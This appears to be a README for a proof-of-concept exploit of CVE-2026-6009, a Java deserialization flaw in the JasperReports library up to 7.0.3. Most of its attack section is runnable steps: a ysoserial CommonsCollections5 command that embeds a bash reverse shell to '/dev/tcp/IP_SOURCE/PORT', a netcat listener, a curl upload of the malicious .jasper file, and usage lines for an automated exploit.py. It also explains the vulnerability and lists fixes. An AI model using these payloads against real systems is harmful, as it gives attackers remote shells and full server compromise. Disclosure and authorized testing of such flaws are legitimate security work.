⚠️ Disclaimer: This repository is for educational purposes and authorized security testing only. Do not use against systems you do not own or have explicit written permission to test.

CVE-2026-6009

Proof of Concept

Summary

The Jaspersoft report library version <= 7.0.3 is vulnerable to a remote code execution(RCE) by exploiting the Java deserialization flow. This vulnerability allows attacker to perform a connection with a reverse shell on the system using this version of the library.

• Library: Jaspersoft report
• Affected version: <= 7.0.3
• Vulnerability type: RCE via Java deserialization
• CVE-2026-6009
• CVSS Score: 8.7 (High)
• Date: 2026-05-19

Vulnerability description

To transmit data, some systems have to convert object into a certain transmissible format, this is serialization. The deserialization is the reverse operation. In Java, the vulnerable mechanism is in ObjectInputStream.readObject() which is use to deserialize any object from input stream. Since JRLoader.loadObject() uses this method to read .jasper files reports in the the Jaspersoft library, it is a dangerous entry point to put malicious code.

Only readObject() is not enough to trigger code. It only works on known exploitable class. Then attackers use known gadget chains such CommonCollection to perform the execution of their payloads.

Environment

To be able to make a Proof of Concept (PoC), I made a lab on a Parrot machine with a Java Web server using the Jaspersoft Report Library:

OS : Parrot OS 7 GNU/Linux Framework: Spring Boot version 2.7.18 Dependency: Jasperreports version 7.0.3 Environment: Java 11 Compiler: Maven

#### Vulnerable code example :

@PostMapping("/upload-report")
    public String uploadReport(@RequestParam("file") MultipartFile file) {
        try {
            InputStream is = file.getInputStream();

            // ObjectInputStream.readObject() appelé en interne par JRLoader
            JasperReport report = (JasperReport) JRLoader.loadObject(is);
            ...

Step to reproduce

1. Analyse

For the first step, once you know that your target system uses a vulnerable version Jasperreport, you need need to find the exact destination where the target will receive the jasper file.

In this environement, it's http://localhost:8080/upload-report

2. Check for vulnerability

Then you need to find a way to discover which class can be used as gadget chain in the target system. You can also try few and see which one trigger the system.

In a whitebox context, we can look for this information by ourselves :

mvn dependency:tree | grep -i "commons\|spring\|groovy\|beanshell"

We find that the system uses CommonsCollections.

3. Generate the payload

For CommonsCollections, you use the ysoserial script to generate the payload that you want. Here, make a reverse shell:

java -jar ysoserial.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/IP_SOURCE/PORT 0>&1" > file.jasper

You will probably need to tests several versions of CommonCollections to perform the payload execution.

4. Prepare the exploit

In order to perform a reverse shell connection, we need to listen on a port to receive the connection from the target system initiated by the payload :

nc -lnvp 4444

5. Exploit

Finally, you just have to send the payload you made at the location you found and check your port to confirm that the connection has been made from the target system:

curl -X POST http://localhost:8080/upload-report -F "[email protected]"

Impact

An attacker with access to the endpoint could execute arbitrary code with server privileges that could lead to a full compromise to the system.

Fix Recommendations

• Update JasperReports to version 7.0.4+
• Never deserialize .jasper files from unknown source
• Implement whitelist for authorized classes

Script

Description

exploit.py is an automated script to reproduce the exploitation from the vulnerability CVE-2026-6009.

Usage

python3 exploit.py -t TARGET -s IP_SOURCE -p PORT
python3 exploit.py -t http://localhost:8080/upload-report -s 192.168.1.1 -p 4444

Options